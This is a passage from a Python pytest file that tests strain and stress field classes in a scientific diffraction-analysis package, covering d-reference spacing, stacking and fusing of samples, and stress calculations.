assert_allclose_with_sorting(strain.values, values)\n\n def test_d_reference(self):\n # create two strains\n x = np.array([0.0, 0.5, 0.0, 0.5])\n y = np.array([1.0, 1.0, 1.5, 1.5])\n z = np.array([2.0, 2.0, 2.0, 2.0])\n point_list = PointList([x, y, z])\n values = np.array([1.0, 2.0, 3.0, 4.0])\n errors = np.full(len(values), 1., dtype=float)\n strain1 = StrainField(peak_collection=PeakCollectionLite('strain',\n strain=values, strain_error=errors),\n point_list=point_list)\n\n x = np.array([0.0, 0.5, 0.0, 0.5])\n y = np.array([1.0, 1.0, 1.5, 1.5])\n z = np.array([2.5, 2.5, 2.5, 2.5])\n point_list = PointList([x, y, z])\n values = np.array([5.0, 6.0, 7.0, 8.0])\n errors = np.full(len(values), 1., dtype=float)\n strain2 = StrainField(peak_collection=PeakCollectionLite('strain',\n strain=values, strain_error=errors),\n point_list=point_list)\n\n # fuse them together to get a StrainField with multiple peakcollections\n strain = strain1.fuse_with(strain2)\n del strain1\n del strain2\n\n D_REFERENCE = np.pi\n D_REFERENCE_ERROR = 42\n strain.set_d_reference((D_REFERENCE, D_REFERENCE_ERROR))\n\n d_reference = strain.get_d_reference()\n np.testing.assert_equal(d_reference.values, D_REFERENCE)\n np.testing.assert_equal(d_reference.errors, D_REFERENCE_ERROR)\n\n def test_set_d_reference(self, strain_object_0, strain_object_1, strain_object_2,\n strain_stress_object_0, strain_stress_object_1):\n r\"\"\"\n Test using a ScalarFieldSample\n strain_object_0: StrainField object made up of one StrainFieldSingle object\n strain_object_1: StrainField object made up of two non-overlapping StrainFieldSingle object\n strain_object_2: StrainField object made up of two overlapping StrainFieldSingle objects\n strain_stress_object_0: strains stacked, all have the same set of sample points\n \"\"\"\n for strain, expected in [(strain_object_0, [1.00, 1.01, 1.02, 1.03, 1.04, 1.05, 1.06, 1.07]),\n (strain_object_1, [1.01, 1.02, 1.03, 1.04, 1.05, 1.06, 1.07, 1.08]),\n (strain_object_2, [1.01, 1.02, 1.03, 1.04, 1.05, 1.06, 1.07, 1.08])]:\n d_spacing = strain.get_dspacing_center()\n assert_allclose(d_spacing.values, expected, atol=0.001)\n # Set the reference spacings as the observed lattice plane spacings\n strain.set_d_reference(d_spacing)\n assert_allclose(strain.get_d_reference().values, expected)\n # There should be no strain, since the observed lattice plane spacings are the reference spacings\n assert_allclose(strain.values, np.zeros(8), atol=1.e-5)\n #\n # Use a new d_reference defined over a set of sample points having no overlap. In this case,\n # the d_reference of the strains should be left untouched\n d_reference_update = ScalarFieldSample('d_reference',\n values=[9, 9, 9], errors=[0.0, 0.0, 0.0],\n x=[9, 9, 9], y=[0, 0, 0], z=[0, 0, 0])\n for strain in (strain_object_0, strain_object_1, strain_object_2):\n d_reference_old = strain.get_d_reference()\n strain.set_d_reference(d_reference_update) # no effect\n assert_allclose(strain.get_d_reference().values, d_reference_old.values)\n #\n # Use a new d_reference defined over a set of sample points corresponding to the last\n # three points of the strain field\n for strain in (strain_object_0,):\n d_reference_update = ScalarFieldSample('d_reference',\n values=[9, 9, 9], errors=[0.0, 0.0, 0.0],\n x=strain.x[-3:], y=strain.y[-3:], z=strain.z[-3:])\n d_reference_old = strain.get_d_reference()\n strain.set_d_reference(d_reference_update) # affects only the last three points\n assert_allclose(strain.get_d_reference().values[: -3], d_reference_old.values[: -3])\n assert_allclose(strain.get_d_reference().values[-3:], [9, 9, 9])\n\n #\n # Use a new d_reference defined over a set of sample points corresponding to the last\n # three points of the stacked strains in strain_stress_object_0\n strains = strain_stress_object_0['strains']\n pl = strains['11'].point_list\n d_reference_update = ScalarFieldSample('d_reference',\n values=[9, 9, 9], errors=[0.0, 0.0, 0.0],\n x=pl.vx[-3:], y=pl.vy[-3:], z=pl.vz[-3:])\n for strain in strains.values(): # `strains` is a dictionary\n d_reference_old = strain.get_d_reference()\n strain.set_d_reference(d_reference_update) # affects only the last three points\n assert_allclose(strain.get_d_reference().values[: -3], d_reference_old.values[: -3])\n assert_allclose(strain.get_d_reference().values[-3:], [9, 9, 9])\n\n def test_stack_strains(self, strain_field_samples, allclose_with_sorting):\n strain1 = strain_field_samples['HB2B_1320_peak0']\n strain2 = strain_field_samples['HB2B_1320_']\n\n # Stack two strains having the same evaluation points.\n strain1_stacked, strain2_stacked = strain1 * strain2 # default resolution and stacking mode\n for strain in (strain1_stacked, strain2_stacked):\n assert len(strain) == len(strain1)\n assert bool(np.all(np.isfinite(strain.values))) is True # all points are common to strain1 and strain2\n\n # Stack two strains having completely different evaluation points.\n strain3 = strain_field_samples['strain with two points per direction']\n strain2_stacked, strain3_stacked = strain2 * strain3 # default resolution and stacking mode\n # The common list of points is the sum of the points from each strain\n for strain in (strain2_stacked, strain3_stacked):\n assert len(strain) == len(strain2) + len(strain3)\n\n # verify the filenames got copied over\n for strain_stacked, strain in ((strain2_stacked, strain2), (strain3_stacked, strain3)):\n assert strain_stacked.filenames == strain.filenames\n\n # There's no common point that is common to both strain2 and strain3\n # Each stacked strain only have finite measurements on points coming from the un-stacked strain\n for strain_stacked, strain in ((strain2_stacked, strain2), (strain3_stacked, strain3)):\n finite_measurements_count = len(np.where(np.isfinite(strain_stacked.values))[0])\n assert finite_measurements_count == len(strain)\n\n # The points evaluated as 'nan' must come from the other scan\n for strain_stacked, strain_other in ((strain2_stacked, strain3), (strain3_stacked, strain2)):\n nan_measurements_count = len(np.where(np.isnan(strain_stacked.values))[0])\n assert nan_measurements_count == len(strain_other)\n\n def test_fuse_and_stack_strains(self, strain_field_samples, allclose_with_sorting):\n # TODO HB2B_1320_peak0 and HB2B_1320_ are the same scan. We need two different scans\n strain1 = strain_field_samples['HB2B_1320_peak0']\n strain2 = strain_field_samples['HB2B_1320_']\n strain3 = strain_field_samples['strain with two points per direction']\n strain1_stacked, strain23_stacked = strain1 * (strain2 + strain3) # default resolution and stacking mode\n # Check number of points with finite strains measuments\n for strain_stacked in (strain1_stacked, strain23_stacked):\n assert len(strain_stacked) == len(strain2) + len(strain3)\n for strain_stacked, finite_count, nan_count in zip((strain1_stacked, strain23_stacked), (312, 320), (8, 0)):\n finite_measurements_count = len(np.where(np.isfinite(strain_stacked.values))[0])\n assert finite_measurements_count == finite_count\n nan_measurements_count = len(np.where(np.isnan(strain_stacked.values))[0])\n assert nan_measurements_count == nan_count\n # Check peak collections carry-over\n assert strain1_stacked.peak_collections[0] == strain1.peak_collections[0]\n assert strain23_stacked.peak_collections == [strain2.peak_collections[0], strain3.peak_collections[0]]\n\n def test_to_md_histo_workspace(self, strain_field_samples):\n strain = strain_field_samples['HB2B_1320_peak0']\n histo = strain.to_md_histo_workspace(method='linear', resolution=DEFAULT_POINT_RESOLUTION)\n assert histo.id() == 'MDHistoWorkspace'\n minimum_values = (-31.76, -7.20, -15.00) # bin boundary with the smallest coordinate along X, Y, and Z\n maximum_values = (31.76, 7.20, 15.00) # bin boundary with the largest coordinate along X, Y, and Z\n bin_counts = (18, 6, 3) # number of bins along X, Y, and Z\n for i, (min_value, max_value, bin_count) in enumerate(zip(minimum_values, maximum_values, bin_counts)):\n dimension = histo.getDimension(i)\n assert dimension.getUnits() == 'mm'\n assert dimension.getMinimum() == pytest.approx(min_value, abs=0.01)\n assert dimension.getMaximum() == pytest.approx(max_value, abs=0.01)\n assert dimension.getNBins() == bin_count\n\n\ndef test_calculated_strain():\n SIZE = 10\n\n peaks = PeakCollectionLite('dummy',\n strain=np.zeros(SIZE, dtype=float),\n strain_error=np.zeros(SIZE, dtype=float))\n pointlist = PointList([np.arange(SIZE, dtype=float), np.arange(SIZE, dtype=float), np.arange(SIZE, dtype=float)])\n strain = StrainField(point_list=pointlist, peak_collection=peaks)\n np.testing.assert_equal(strain.values, 0.)\n\n\ndef strain_instantiator(name, values, errors, x, y, z):\n return StrainField(name,\n peak_collection=PeakCollectionLite(name, strain=values, strain_error=errors),\n point_list=PointList([x, y, z]))\n\n\n@pytest.fixture(scope='module')\ndef strains_for_stress_field_1():\n X = [0.000, 1.000, 2.000, 3.000, 4.000, 5.000, 6.000, 7.000, 8.000, 9.000]\n Y = [0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000]\n Z = [0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000]\n # selected to make terms drop out\n\n sample11 = strain_instantiator('strain',\n [0.000, 0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.080, 0.009], # values\n [0.000, 0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.008, 0.009], # errors\n X, Y, Z)\n sample22 = strain_instantiator('strain',\n [0.000, 0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.080, 0.009], # values\n [0.000, 0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.008, 0.009], # errors\n X, Y, Z)\n sample33 = strain_instantiator('strain',\n [0.000, 0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.080, 0.009], # values\n [0.000, 0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.008, 0.009], # errors\n X, Y, Z)\n return sample11, sample22, sample33\n\n\n@pytest.fixture(scope='module')\ndef stress_samples(strains_for_stress_field_1):\n POISSON = 1. / 3. # makes nu / (1 - 2*nu) == 1\n YOUNG = 1 + POISSON # makes E / (1 + nu) == 1\n sample11, sample22, sample33 = strains_for_stress_field_1\n return {'stress diagonal': StressField(sample11, sample22, sample33, YOUNG, POISSON)}\n\n\nclass TestStressField:\n\n def test_strain_properties(self, strains_for_stress_field_1):\n field = StressField(*strains_for_stress_field_1, 1, 1)\n field.select('11')\n assert field.strain11 == field._strain11\n assert field.strain22 == field._strain22\n assert field.strain33 == field._strain33\n assert field.strain == field._strain11 # the accessible direction is still 11\n\n def test_getitem(self, strains_for_stress_field_1):\n field = StressField(*strains_for_stress_field_1, 1, 1)\n field.select('11')\n assert field['11'] == field.stress11\n assert field['22'] == field.stress22\n assert field['33'] == field.stress33\n assert field.stress == field.stress11\n\n def test_iter(self, strains_for_stress_field_1):\n field = StressField(*strains_for_stress_field_1, 1, 1)\n field.select('11')\n for stress_from_iterable, stress_component in zip(field, (field.stress11, field.stress22, field.stress33)):\n assert stress_from_iterable == stress_component\n assert field.stress == field.stress11 # the accessible direction is still 11\n\n def test_point_list(self, strains_for_stress_field_1):\n r\"\"\"Test point_list property\"\"\"\n vx = [0.000, 1.000, 2.000, 3.000, 4.000, 5.000, 6.000, 7.000, 8.000, 9.000]\n vy = [0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000]\n vz = [0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000]\n coordinates = np.array([vx, vy, vz]).T\n field = StressField(*strains_for_stress_field_1, 1.0, 1.0)\n np.allclose(field.coordinates, coordinates)\n\n def test_youngs_modulus(self, strains_for_stress_field_1):\n r\"\"\"Test poisson_ratio property\"\"\"\n youngs_modulus = random.random()\n field = StressField(*strains_for_stress_field_1, youngs_modulus, 1.0)\n assert field.youngs_modulus == pytest.approx(youngs_modulus)\n\n def test_youngs_modulus_setter(self, strain_stress_object_0):\n stress = strain_stress_object_0['stresses']['diagonal']\n assert_allclose(stress.stress11.values, [300, 340, 380, 420, 460], atol=1)\n assert_allclose(stress.stress22.values, [400, 440, 480, 520, 560], atol=1)\n assert_allclose(stress.stress33.values, [500, 540, 580, 620, 660], atol=1)\n stress.youngs_modulus *= 2.0\n assert stress.youngs_modulus == pytest.approx(8. / 3)\n assert_allclose(stress.stress11.values, 2 * np.array([300, 340, 380, 420, 460]), atol=1)\n assert_allclose(stress.stress22.values, 2 * np.array([400, 440, 480, 520, 560]), atol=1)\n assert_allclose(stress.stress33.values, 2 * np.array([500, 540, 580, 620, 660]), atol=1)\n\n def test_poisson_ratio(self, strains_for_stress_field_1):\n r\"\"\"Test poisson_ratio property\"\"\"\n poisson_ratio = random.random()\n field = StressField(*strains_for_stress_field_1, 1.0, poisson_ratio)\n assert field.poisson_ratio == pytest.approx(poisson_ratio)\n\n def test_poisson_ratio_setter(self, strain_stress_object_0):\n stress = strain_stress_object_0['stresses']['diagonal']\n assert_allclose(stress.stress11.values, [300, 340, 380, 420, 460], atol=1)\n assert_allclose(stress.stress22.values, [400, 440, 480, 520, 560], atol=1)\n assert_allclose(stress.stress33.values, [500, 540, 580, 620, 660], atol=1)\n strains = strain_stress_object_0['strains']\n stress.poisson_ratio = 0.0\n assert stress.poisson_ratio == pytest.approx(0.0)\n assert_allclose(stress.stress11.values, to_megapascal(stress.youngs_modulus * strains['11'].values), atol=1)\n assert_allclose(stress.stress22.values, to_megapascal(stress.youngs_modulus * strains['22'].values), atol=1)\n assert_allclose(stress.stress33.values, to_megapascal(stress.youngs_modulus * strains['33'].values), atol=1)\n\n def test_create_stress_field(self, allclose_with_sorting):\n X = [0.000, 1.000, 2.000, 3.000, 4.000, 5.000, 6.000, 7.000, 8.000, 9.000]\n Y = [0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000]\n Z = [0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000]\n # selected to make terms drop out\n\n sample11 = strain_instantiator('strain',\n [0.000, 0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.008, 0.009],\n [0.000, 0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.008, 0.009],\n X, Y, Z)\n sample22 = strain_instantiator('strain',\n [0.010, 0.011, 0.012, 0.013, 0.014, 0.015, 0.016, 0.017, 0.018, 0.019],\n [0.000, 0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.008, 0.009],\n X, Y, Z)\n sample33 = strain_instantiator('strain',\n [0.020, 0.021, 0.022, 0.023, 0.024, 0.025, 0.026, 0.027, 0.028, 0.029],\n [0.000, 0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.008, 0.009],\n X, Y, Z)\n\n POISSON = 1. / 3. # makes nu / (1 - 2*nu) == 1\n YOUNG = 1 + POISSON # makes E / (1 + nu) == 1\n\n # The default stress type is \"diagonal\", thus strain33 cannot be None\n with pytest.raises(AssertionError) as exception_info:\n StressField(sample11, sample22, None, YOUNG, POISSON)\n assert 'strain33 is None' in str(exception_info.value)\n\n # test diagonal calculation\n diagonal = StressField(sample11, sample22, sample33, YOUNG, POISSON)\n assert diagonal\n # check strains\n for direction, sample in zip(('11', '22', '33'), (sample11, sample22, sample33)):\n diagonal.select(direction)\n assert allclose_with_sorting(diagonal.strain.values, sample.values, atol=1)\n # check coordinates\n assert allclose_with_sorting(diagonal.x, X)\n assert allclose_with_sorting(diagonal.y, Y)\n assert allclose_with_sorting(diagonal.z, Z)\n # check values\n second = (sample11.values + sample22.values + sample33.values)\n diagonal.select('11')\n assert allclose_with_sorting(diagonal.values, to_megapascal(sample11.values + second), atol=1)\n diagonal.select('22')\n assert allclose_with_sorting(diagonal.values, to_megapascal(sample22.values + second), atol=1)\n diagonal.select('33')\n assert allclose_with_sorting(diagonal.values, to_megapascal(sample33.values + second), atol=1)\n\n in_plane_strain = StressField(sample11, sample22, None, YOUNG, POISSON, 'in-plane-strain')\n assert in_plane_strain\n # check coordinates\n assert allclose_with_sorting(in_plane_strain.x, X)\n assert allclose_with_sorting(in_plane_strain.y, Y)\n assert allclose_with_sorting(in_plane_strain.z, Z)\n # check values\n second = (sample11.values + sample22.values)\n in_plane_strain.select('11')\n allclose_with_sorting(in_plane_strain.values, to_megapascal(sample11.values + second), atol=1)\n in_plane_strain.select('22')\n allclose_with_sorting(in_plane_strain.values, to_megapascal(sample22.values + second), atol=1)\n in_plane_strain.select('33')\n allclose_with_sorting(in_plane_strain.values, to_megapascal(second), atol=1)\n # The strain along the 33 direction is zero by definition\n assert np.allclose(in_plane_strain.strain.values, [0.0] * in_plane_strain.size)\n assert np.allclose(in_plane_strain.strain.errors, [0.0] * in_plane_strain.size)\n\n # redefine values to simplify things\n POISSON = 1. / 2. # makes nu / (1 - nu) == 1\n YOUNG = 1 + POISSON # makes E / (1 + nu) == 1\n\n in_plane_stress = StressField(sample11, sample22, None, YOUNG, POISSON, 'in-plane-stress')\n assert in_plane_stress\n # check coordinates\n assert allclose_with_sorting(in_plane_stress.point_list.vx, X)\n assert allclose_with_sorting(in_plane_stress.point_list.vy, Y)\n assert allclose_with_sorting(in_plane_stress.point_list.vz, Z)\n # check values\n second = (sample11.values + sample22.values)\n in_plane_stress.select('11')\n strain11 = in_plane_stress.strain.values\n assert allclose_with_sorting(in_plane_stress.values, to_megapascal(sample11.values + second), atol=1)\n in_plane_stress.select('22')\n strain22 = in_plane_stress.strain.values\n assert allclose_with_sorting(in_plane_stress.values, to_megapascal(sample22.values + second), atol=1)\n in_plane_stress.select('33')\n strain33 = in_plane_stress.strain.values\n assert allclose_with_sorting(in_plane_stress.values, 0.) # no stress on the 33 direction\n assert allclose_with_sorting(in_plane_stress.errors, 0.)\n factor = POISSON / (POISSON - 1)\n assert np.allclose(strain33, factor * (strain11 + strain22))\n\n def test_small(self):\n POISSON = 1. / 3. # makes nu / (1 - 2*nu) == 1\n YOUNG = 1 + POISSON # makes E / (1 + nu) == 1\n\n x = np.array([0.0, 0.5, 0.0, 0.5, 0.0, 0.5, 0.0, 0.5])\n y = np.array([1.0, 1.0, 1.5, 1.5, 1.0, 1.0, 1.5, 1.5])\n z = np.array([2.0, 2.0, 2.0, 2.0, 2.5, 2.5, 2.5, 2.5])\n point_list1 = PointList([x, y, z])\n values = np.array([1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0])\n errors = np.full(len(values), 1., dtype=float)\n strain = StrainField(peak_collection=PeakCollectionLite('strain', strain=values, strain_error=errors),\n point_list=point_list1)\n\n # create a simple stress field\n stress = StressField(strain, strain, strain, YOUNG, POISSON)\n # Stress formulae with the above POISSON and YOUNG simplifies to:\n # stress_ii = strain_ii + (strain_11 + strain_22 + strain_33).\n # Example: for the 11 direction we have:\n # stress11 = 2 * strain11 + strain22 + strain33\n # Strains along different directions are independent, thus their errors add in quadrature\n # stress11.errors = sqrt(4 * strain11.errors + strain22.errors + strain33.errors) == sqrt(6) * errors\n for direction in DIRECTIONS:\n stress.select(direction)\n assert stress.strain == strain # it is the same reference\n # hand calculations show that this should be 4*strain\n assert_allclose(stress.values, 1000 * 4. * values)\n assert_allclose(stress.errors, 1000 * np.sqrt(6) * errors)\n\n def test_strain33_when_inplane_stress(self, strains_for_stress_field_1):\n sample11, sample22 = strains_for_stress_field_1[0:2]\n stress = StressField(sample11, sample22, None, 1.0, 2.0, 'in-plane-stress')\n assert np.allclose(stress._strain33.values, 2 * (stress._strain11.values + stress._strain22.values))\n\n def test_to_md_histo_workspace(self, stress_samples):\n stress = stress_samples['stress diagonal']\n histo = stress.to_md_histo_workspace(method='linear', resolution=DEFAULT_POINT_RESOLUTION)\n minimum_values = (-0.5, -0.0005, -0.0005) # bin boundary with the smallest coordinate along X, Y, and Z\n maximum_values = (9.5, 0.0005, 0.0005) # bin boundary with the largest coordinate along X, Y, and Z\n bin_counts = (10, 1, 1) # number of bins along X, Y, and Z\n assert histo.id() == 'MDHistoWorkspace'\n for i, (min_value, max_value, bin_count) in enumerate(zip(minimum_values, maximum_values, bin_counts)):\n dimension = histo.getDimension(i)\n assert dimension.getUnits() == 'mm'\n assert dimension.getMinimum() == pytest.approx(min_value, abs=0.01)\n assert dimension.getMaximum() == pytest.approx(max_value, abs=0.01)\n assert dimension.getNBins() == bin_count\n\n # flake8: noqa: C901\n def test_set_d_reference(self, strain_stress_object_0):\n #\n # Diagonal case\n stress = strain_stress_object_0['stresses']['diagonal']\n for direction in ('11', '22', '33'):\n stress.select(direction)\n # Use the spacings along the current direction as the new reference spacings\n d_reference_new = stress.strain.get_dspacing_center()\n stress.set_d_reference(d_reference_new)\n assert_allclose(stress.strain.get_d_reference().values, d_reference_new.values)\n # This direction should be free of strain because observed and reference spacings coincide\n assert_allclose(stress.strain.values, np.zeros(stress.size))\n # The current d_reference is the spacing along the last direction\n expected = np.array([1.20, 1.21, 1.22, 1.23, 1.24])\n for strain in stress.strain11, stress.strain22, stress.strain33:\n assert_allclose(strain.get_d_reference().values, expected, atol=0.001)\n assert_allclose(strain.values,\n to_microstrain((strain.get_dspacing_center().values - expected) / expected), atol=1)\n # Stresses must be also be updated\n trace = stress.strain11.values + stress.strain22.values + stress.strain33.values\n for direction, strain in zip(('11', '22', '33'), (stress.strain11, stress.strain22, stress.strain33)):\n # Young's modulus and Poisson ratio for strain_stress_object_0 simplify the formulae\n assert_allclose(stress[direction].values, to_megapascal(strain.values + trace), atol=1)\n #\n # in-plane-strain case\n stress = strain_stress_object_0['stresses']['in-plane-strain']\n for direction in ('11', '22'):\n stress.select(direction)\n # Use the spacings along the current direction as the new reference spacings\n d_reference_new = stress.strain.get_dspacing_center()\n stress.set_d_reference(d_reference_new)\n assert_allclose(stress.strain.get_d_reference().values, d_reference_new.values)\n # This direction should be free of strain because observed and reference spacings coincide\n assert_allclose(stress.strain.values, np.zeros(stress.size))\n assert_allclose(stress.strain33.values, np.zeros(stress.size)) # because in-plane-strain\n # The current d_reference is the spacing along the '22' direction\n expected = np.array([1.10, 1.11, 1.12, 1.13, 1.14])\n for strain in stress.strain11, stress.strain22:\n assert_allclose(strain.get_d_reference().values, expected, atol=1)\n assert_allclose(strain.values,\n to_microstrain((strain.get_dspacing_center().values - expected) / expected), atol=1)\n assert_allclose(stress.strain33.values, np.zeros(stress.size)) # because in-plane-strain\n # Stresses must be also be updated\n trace = stress.strain11.values + stress.strain22.values\n for direction, strain in zip(('11', '22', '33'), (stress.strain11, stress.strain22, stress.strain33)):\n # Young's modulus and Poisson ratio for strain_stress_object_0 simplify the formulae\n assert_allclose(stress[direction].values, to_megapascal(strain.values + trace), atol=1)\n #\n # in-plane-stress case\n stress = strain_stress_object_0['stresses']['in-plane-stress']\n for direction in ('11', '22'):\n stress.select(direction)\n # Use the spacings along the current direction as the new reference spacings\n d_reference_new = stress.strain.get_dspacing_center()\n stress.set_d_reference(d_reference_new)\n assert_allclose(stress.strain.get_d_reference().values, d_reference_new.values)\n # This direction should be free of strain because observed and reference spacings coincide\n assert_allclose(stress.strain.values, np.zeros(stress.size))\n # Young's modulus and Poisson ratio for strain_stress_object_0 simplify the formulae\n assert_allclose(stress.strain33.values, -(stress.strain11.values + stress.strain22.values))\n assert_allclose(stress['33'].values, np.zeros(stress.size)) # because in-plane-stress\n # The current d_reference is the spacing along the '22' direction\n expected = np.array([1.10, 1.11, 1.12, 1.13, 1.14])\n for strain in stress.strain11, stress.strain22:\n assert_allclose(strain.get_d_reference().values, expected, atol=1)\n assert_allclose(strain.values,\n to_microstrain((strain.get_dspacing_center().values - expected) / expected), atol=1)\n assert_allclose(stress.strain33.values, -(stress.strain11.values + stress.strain22.values))\n # Stresses must be also be updated\n trace = stress.strain11.values + stress.strain22.values\n for direction, strain in zip(('11', '22'), (stress.strain11, stress.strain22)):\n # Young's modulus and Poisson ratio for strain_stress_object_0 simplify the formulae\n assert_allclose(stress[direction].values, to_megapascal(strain.values + trace), atol=1)\n assert_allclose(stress['33'].values, np.zeros(stress.size)) # because in-plane-stress\n # TODO also test with fixture strain_stress_object_1\n\n def test_strain_fields(self, strain_stress_object_1):\n r\"\"\"\n Test the values of the stacked strains along each direction as well as their components\n \"\"\"\n stress = strain_stress_object_1['stresses']['diagonal']\n nanf = float('nan')\n\n # strain values for stacked strain along direction 11\n expected = to_microstrain([0.00, 0.01, 0.02, 0.03, 0.04, 0.05, 0.06, 0.07, nanf, nanf])\n assert_allclose(stress.strain11.values, expected, equal_nan=True, atol=1)\n\n # strain values for stacked strain along direction 22\n expected = to_microstrain([nanf, 0.01, 0.02, 0.03, 0.04, 0.05, 0.06, 0.07, 0.08, nanf])\n # TODO bug: we obtain [0.01, 0.02, 0.03, 0.04, 0.05, 0.06, 0.07, 0.08, nanf, nanf] instead of `expected`\n assert_allclose(stress.strain22.values, expected, equal_nan=True, atol=1)\n\n # strain values for stacked strain along direction 33\n expected = to_microstrain([nanf, nanf, 0.02, 0.03, 0.04, 0.05, 0.06, 0.07, 0.08, 0.09])\n # TODO bug: we obtain [0.02, 0.03, 0.04, 0.05, 0.06, 0.07, 0.08, 0.09, nanf, nanf] instead of `expected`\n assert_allclose(stress.strain33.values, expected, equal_nan=True, atol=1)\n\n # strain values for the single strain along direction 11\n expected = to_microstrain([0.00, 0.01, 0.02, 0.03, 0.04, 0.05, 0.06, 0.07])\n assert_allclose(stress.strain11.strains[0].values, expected, equal_nan=True, atol=1)\n\n\n@pytest.fixture(scope='module')\ndef field_sample_collection():\n return {\n 'sample1': SampleMock('strain',\n [1.000, 1.010, 1.020, 1.030, 1.040, 1.050, 1.060, 1.070, 1.080, 1.090], # values\n [0.000, 0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.008, 0.009], # errors\n [0.000, 1.000, 2.000, 3.000, 4.000, 5.000, 6.000, 7.000, 8.000, 9.000], # x\n [0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000], # y\n [0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000] # z\n ),\n # distance resolution is assumed to be 0.01\n # The first four points of sample2 still overlaps with the first four points of sample1\n # the last four points of sample1 are not in sample2, and viceversa\n 'sample2': SampleMock('strain',\n [1.071, 1.081, 1.091, 1.10, 1.11, 1.12, 1.13, 1.14, 1.15, 1.16], # values\n [0.008, 0.008, 0.008, 0.00, 0.01, 0.02, 0.03, 0.04, 0.05, 0.06], # errors\n [0.009, 1.009, 2.009, 3.009, 4.000, 5.000, 6.011, 7.011, 8.011, 9.011], # x\n [0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000], # y\n [0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000] # z\n ),\n # the last two points of sample3 are redundant, as they are within resolution distance\n 'sample3': SampleMock('strain',\n [1.000, 1.010, 1.020, 1.030, 1.040, 1.050, 1.060, 1.070, 1.080, 1.090, 1.091], # values\n [0.000, 0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.008, 0.009, 0.008], # errors\n [0.000, 1.000, 2.000, 3.000, 4.000, 5.000, 6.000, 7.000, 8.000, 8.991, 9.000], # x\n [0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000], # y\n [0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000, 0.000] # z\n ),\n }\n\n\ndef test_aggregate_scalar_field_samples(field_sample_collection):\n sample1 = ScalarFieldSample(*field_sample_collection['sample1'])\n sample2 = ScalarFieldSample(*field_sample_collection['sample2'])\n sample3 = ScalarFieldSample(*field_sample_collection['sample3'])\n aggregated_sample = aggregate_scalar_field_samples(sample1, sample2, sample3)\n assert len(aggregated_sample) == len(sample1) + len(sample2) + len(sample3)\n # check some key field values\n assert aggregated_sample.values[len(sample1)] == pytest.approx(sample2.values[0])\n assert aggregated_sample.values[len(sample1) + len(sample2)] == pytest.approx(sample3.values[0])\n assert aggregated_sample.values[-1] == pytest.approx(sample3.values[-1])\n # check some key point coordinate values\n assert aggregated_sample.x[len(sample1)] == pytest.approx(sample2.x[0])\n assert aggregated_sample.x[len(sample1) + len(sample2)] == pytest.approx(sample3.x[0])\n assert aggregated_sample.x[-1] == pytest.approx(sample3.x[-1])\n\n\ndef test_fuse_scalar_field_samples(field_sample_collection):\n sample1 = ScalarFieldSample(*field_sample_collection['sample1'])\n sample2 = ScalarFieldSample(*field_sample_collection['sample2'])\n sample3 = ScalarFieldSample(*field_sample_collection['sample3'])\n fused_sample = fuse_scalar_field_samples(sample1, sample2, sample3, resolution=0.01, criterion='min_error')\n assert len(fused_sample) == 14\n assert sorted(fused_sample.values) == pytest.approx([1., 1.01, 1.02, 1.04, 1.05, 1.06, 1.07, 1.08,\n 1.091, 1.1, 1.13, 1.14, 1.15, 1.16])\n assert sorted(fused_sample.errors) == pytest.approx([0., 0., 0.001, 0.002, 0.004, 0.005, 0.006,\n 0.007, 0.008, 0.008, 0.03, 0.04, 0.05, 0.06])\n assert sorted(fused_sample.x) == pytest.approx([0.0, 1.0, 2.0, 3.009, 4.0, 5.0, 6.0, 6.011,\n 7.0, 7.011, 8.0, 8.011, 9.0, 9.011])\n\n\ndef test_mul(field_sample_collection, approx_with_sorting, allclose_with_sorting):\n # test stacking with the 'complete' mode\n sample1_unstacked = ScalarFieldSample(*field_sample_collection['sample1'])\n sample2_unstacked = ScalarFieldSample(*field_sample_collection['sample2'])\n sample3_unstacked = ScalarFieldSample(*field_sample_collection['sample3'])\n\n # stack using '*' operator\n sample1, sample2, sample3 = sample1_unstacked * sample2_unstacked * sample3_unstacked\n\n for sample in (sample1, sample2, sample3):\n assert len(sample) == 14\n approx_with_sorting(sample.x,\n [5.0, 4.0, 3.003, 2.003, 1.003, 0.003, 9.0, 8.0, 6.0, 7.0, 9.011, 8.011, 6.011, 7.011])\n\n # Assert evaluations for sample1\n sample1_values = [1.05, 1.04, 1.03, 1.02, 1.01, 1.0,\n 1.09, 1.08, 1.06, 1.07,\n float('nan'), float('nan'), float('nan'), float('nan')]\n assert allclose_with_sorting(sample1.values, sample1_values, equal_nan=True)\n\n # Assert evaluations for sample2\n sample2_values = [1.12, 1.11, 1.1, 1.091, 1.081, 1.071,\n float('nan'), float('nan'), float('nan'), float('nan'),\n 1.16, 1.15, 1.13, 1.14]\n assert allclose_with_sorting(sample2.values, sample2_values, 